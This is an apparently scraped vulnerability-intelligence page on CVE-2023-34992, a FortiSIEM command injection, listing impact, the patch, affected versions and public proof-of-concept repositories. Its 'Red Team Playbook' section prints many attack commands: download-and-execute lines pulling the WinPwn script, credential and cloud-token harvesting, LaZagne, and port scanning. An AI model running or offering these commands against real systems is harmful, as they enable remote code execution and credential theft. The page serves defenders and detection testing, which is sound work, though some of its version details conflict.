CVE-2023-34992
Overview
This vulnerability is an OS command injection affecting Fortinet FortiSIEM. The root cause is improper neutralization of special characters in API request inputs, allowing crafted inputs to be interpreted as operating system commands. The flaw resides in the API handling component of FortiSIEM versions 6.4.0 through 6.4.2, where user-supplied data is not correctly sanitized before command execution.
Vulnerability Description
A improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet allows attacker to execute unauthorized code or commands via crafted API requests.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary OS commands on the FortiSIEM server, resulting in full system compromise including data confidentiality, integrity, and availability loss. The attack requires only network access to the vulnerable API and no user interaction, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. This can lead to unauthorized code execution, disruption of security monitoring services, and potential lateral movement within the enterprise environment.
Solution
Fortinet has released security updates addressing this vulnerability in FortiSIEM versions 6.4.3 and later. Administrators are advised to apply these patches promptly as detailed in the Fortinet advisory FG-IR-23-130 available at https://fortiguard.com/psirt/FG-IR-23-130. No specific workarounds are documented; therefore, upgrading to the fixed versions is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Fortinet's FortiSIEM products arises from improper neutralization of special elements used in operating system commands, commonly referred to as OS command injection. This flaw allows an attacker to craft malicious API requests that can execute unauthorized commands on the underlying operating system. The root cause of this vulnerability lies in the inadequate validation and sanitization of user inputs, which can lead to the execution of arbitrary commands with the privileges of the application. Such a weakness can be particularly dangerous, as it opens the door for attackers to gain control over the system, manipulate data, or even pivot to other parts of the network.
Attack vectors for this vulnerability are primarily through the API endpoints exposed by FortiSIEM. An attacker could exploit this flaw by sending specially crafted requests that include malicious payloads designed to execute system commands. For instance, an attacker might leverage this vulnerability to run commands that could extract sensitive information, modify system configurations, or deploy additional malware. The exploitation could be executed remotely, making it a significant threat, especially if the API is exposed to the internet or accessible by unauthorized users. Furthermore, the ease of crafting such requests using common tools and programming languages increases the likelihood of successful exploitation.
The real-world impact of this vulnerability is profound, particularly for organizations relying on FortiSIEM for security information and event management. The potential for unauthorized command execution could lead to severe data breaches, loss of sensitive information, and disruption of services. Additionally, the exploitation of this vulnerability could result in compliance violations, especially for organizations subject to regulations such as GDPR or HIPAA. The business risks associated with such incidents include financial losses, reputational damage, and the costs associated with incident response and remediation efforts. Given the high CVSS score of 9.8, organizations must treat this vulnerability with utmost seriousness.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating FortiSIEM to the latest versions is crucial, as vendors typically release patches to address known vulnerabilities. Additionally, organizations should employ intrusion detection systems (IDS) and web application firewalls (WAF) to monitor and filter API traffic for suspicious patterns indicative of exploitation attempts. Conducting regular security assessments, including penetration testing and vulnerability scanning, can help identify potential weaknesses before they can be exploited. Furthermore, implementing strict access controls and ensuring that only authorized personnel can interact with the API can significantly reduce the attack surface.
In conclusion, the improper neutralization of special elements used in OS commands within Fortinet's FortiSIEM products presents a critical security vulnerability that can have far-reaching implications for affected organizations. The ability for attackers to execute arbitrary commands poses a significant threat to the integrity and confidentiality of systems and data. By understanding the nature of this vulnerability, recognizing potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2023-34992, with telemetry indicating a significant increase in attempts to exploit this Fortinet FortiSIEM vulnerability. Concurrently, the Exploit Prediction Scoring System (EPSS) score has risen substantially, reflecting growing confidence in the likelihood of exploitation in the wild. This trend is underscored by the emergence of new proof-of-concept exploits publicly available on GitHub, which lower the technical barrier for adversaries to weaponize this vulnerability. The combination of increased detection frequency and accessible exploit code elevates the operational risk for organizations running affected FortiSIEM versions. Defenders should interpret this as a signal of heightened threat actor interest and activity, which may presage more widespread or targeted attacks. While the EPSS score has stabilized recently, the current elevated level suggests that exploitation attempts are now more common and persistent, warranting increased vigilance. Overall, these developments raise the threat level from a theoretical or low-frequency concern to a more immediate and active risk, emphasizing the criticality of monitoring and response capabilities around this vulnerability.
Affected Products (8)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortisiem | All |
cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortisiem | All |
cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortisiem | 6.4.0 |
cpe:2.3:a:fortinet:fortisiem:6.4.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortisiem | 6.4.1 |
cpe:2.3:a:fortinet:fortisiem:6.4.1:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortisiem | 6.4.2 |
cpe:2.3:a:fortinet:fortisiem:6.4.2:*:*:*:*:*:*:*
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|
|
Fortinet | Fortisiem | 6.5.0 |
cpe:2.3:a:fortinet:fortisiem:6.5.0:*:*:*:*:*:*:*
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|
|
Fortinet | Fortisiem | 6.5.1 |
cpe:2.3:a:fortinet:fortisiem:6.5.1:*:*:*:*:*:*:*
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|
|
Fortinet | Fortisiem | 7.0.0 |
cpe:2.3:a:fortinet:fortisiem:7.0.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
horizon3ai/CVE-2023-34992
CVE-2023-34992: Fortinet FortiSIEM Command Injection Proof of Concept Exploit
|
horizon3ai | 27 | 6 | 2024-05-17 | View |
|
d0rb/CVE-2023-34992-Checker
This script checks if a target host is vulnerable to CVE-2023-34992 by sending a crafted payload to the FortiSIEM applia...
|
d0rb | 0 | 0 | 2024-05-21 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-34992 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-23-130 |